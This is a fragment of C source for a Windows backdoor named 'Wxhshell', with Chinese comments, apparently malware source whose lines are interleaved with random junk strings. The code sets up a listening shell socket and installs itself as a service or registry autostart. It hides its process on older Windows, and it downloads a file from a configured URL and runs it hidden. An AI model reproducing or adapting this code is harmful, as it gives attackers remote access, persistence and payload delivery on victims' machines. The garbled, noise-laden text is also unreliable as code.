sxVXB if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7g5@vYS+ zb>;?et;) CloseHandle(hProcess); yu=piP qT$)Rb& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y5n>r@)m if(hProcess==NULL) return 0; c88_}%h?( 8|6~o.B.G HMODULE hMod; r( M[8@Nz char procName[255]; B7|c`7x( unsigned long cbNeeded; -rO*7HO 5:$Xtq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KYf;_C,$ fL2^\dB; CloseHandle(hProcess); !f`5B( @ [$;,Ua-mt if(strstr(procName,"services")) return 1; // 以服务启动 W=3? x y=#j`MH{> return 0; // 注册表启动 o ~;M" } @*SA$9/l w
[L&* // 主模块 1#]B^D int StartWxhshell(LPSTR lpCmdLine) O~atNrHD { 7u|%^Ao6 SOCKET wsl; {d,?bs) BOOL val=TRUE; 3+%nn+m int port=0; z<i,D08|d struct sockaddr_in door; ;7L ; ~~@y_e[N#l if(wscfg.ws_autoins) Install(); =D5wqCT(Q |WBZN1W) port=atoi(lpCmdLine); Z B$NVY SetX#e?q~ if(port<=0) port=wscfg.ws_port; p.5e:
i^LJ nn'Af,ko/ WSADATA data; ~{$L9;x if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .+HcA x{/2 L/%Y# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )O&z5n7t4s setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @gEr+O1K( door.sin_family = AF_INET; xvB8YW" door.sin_addr.s_addr = inet_addr("127.0.0.1"); q=+wI"[ door.sin_port = htons(port); n_}aZB3;U %XR<isn if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~TM>"eB b closesocket(wsl); -zdmr"CA return 1; WU7cF81$ } 5/,Qz>QE[ _-RyHgX if(listen(wsl,2) == INVALID_SOCKET) { Ok,HD7 closesocket(wsl); n>S2}y return 1; bM ^7g } >x*)GPDa Wxhshell(wsl); FllX za) WSACleanup(); `6}Yqh)) 5#2jq<D return 0; "O``7HA} v1h.pbz`w } DL1
+c`d E?_ zZ2 // 以NT服务方式启动 Wt:~S/l VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +<{m45 { %i595Ij-] DWORD status = 0; a5 bPEJ=I DWORD specificError = 0xfffffff; Cdmy.gx^ :]-$dEu& serviceStatus.dwServiceType = SERVICE_WIN32; },s_nJR:8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; [[X+P 0`r serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %mu>-h ac serviceStatus.dwWin32ExitCode = 0; '-.wFB; serviceStatus.dwServiceSpecificExitCode = 0; ZJvo9!DL|
serviceStatus.dwCheckPoint = 0; h1*FPsc serviceStatus.dwWaitHint = 0; 5VZjDg? 7DZTQUb" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w&5/Zh[~~L if (hServiceStatusHandle==0) return; ntZ~m "[.ne)/MC status = GetLastError(); +KP_yUq[ if (status!=NO_ERROR) fK"iF@=Z` { {[tZ.1.w serviceStatus.dwCurrentState = SERVICE_STOPPED;
#Z0-8<\ serviceStatus.dwCheckPoint = 0; j76%UG\Ga serviceStatus.dwWaitHint = 0; %I0}4$ serviceStatus.dwWin32ExitCode = status; &Sa~/!M serviceStatus.dwServiceSpecificExitCode = specificError; 7D9]R#-K SetServiceStatus(hServiceStatusHandle, &serviceStatus); V)h
y0_ return; ~
aA;<# } t#~XLCE _*n)mlLln serviceStatus.dwCurrentState = SERVICE_RUNNING; 7@3sUA_Go serviceStatus.dwCheckPoint = 0; 0qR$J serviceStatus.dwWaitHint = 0; [8z&-'J= if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cJ/4Gl } Yt*vqm[WV 4DM*^=9E // 处理NT服务事件,比如:启动、停止 d- kZt@DL= VOID WINAPI NTServiceHandler(DWORD fdwControl) OpUA{P { lQ$+JX;n(y switch(fdwControl) Tyd
h9I { 6]ZO'Nwo case SERVICE_CONTROL_STOP: |6*Va%LYO- serviceStatus.dwWin32ExitCode = 0; {=iyK/Uf serviceStatus.dwCurrentState = SERVICE_STOPPED; 9(OAKUQ serviceStatus.dwCheckPoint = 0; ju.OW`GM serviceStatus.dwWaitHint = 0; p6Gcts?, { ayeCi8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qsji0ikG } P63
(^R return; N iISJWk6' case SERVICE_CONTROL_PAUSE: &mdB\Y?^ serviceStatus.dwCurrentState = SERVICE_PAUSED; s~Gw break; URQ@=W7 case SERVICE_CONTROL_CONTINUE: *(Ro;?O,pi serviceStatus.dwCurrentState = SERVICE_RUNNING; 7_%2xewV| break; LD_M 3
P case SERVICE_CONTROL_INTERROGATE: /ao<A\KR break; 7 Kjj?~RA }; %"+4
D,'l SetServiceStatus(hServiceStatusHandle, &serviceStatus); yzg9I } /GN4I!LA +ouY // 标准应用程序主函数 ~#4~_d.=L int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {G%3*=?,j { hIo0S8MOj$ }Aw47;5q; // 获取操作系统版本 &=NJ OsIsNt=GetOsVer(); 7H#2WFQ7 GetModuleFileName(NULL,ExeFile,MAX_PATH); @ t|3gF$X BfVBywty // 从命令行安装 O]bKNA.5 if(strpbrk(lpCmdLine,"iI")) Install(); f:XfAH3R{ X|Dpt2A= // 下载执行文件 0e\y~#- if(wscfg.ws_downexe) { j/'
g$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s>r ^r%uK WinExec(wscfg.ws_filenam,SW_HIDE); QoWR@u6a } Y$+QNi )ji@k(x27q if(!OsIsNt) { 6Hl<,(vn // 如果时win9x,隐藏进程并且设置为注册表启动 o?y"]RCM HideProc(); :~erh}~ps StartWxhshell(lpCmdLine); 9t0Cj/w} } ` yYvYc else :cdQ(O.m if(StartFromService()) ~b#OFnyG // 以服务方式启动 7*MU2gb StartServiceCtrlDispatcher(DispatchTable); o$t
&MST?i else P=Puaz5&{ // 普通方式启动 4i`S+`# StartWxhshell(lpCmdLine); <5k&)EoT F^miq^K=
return 0; DyIV/ }
|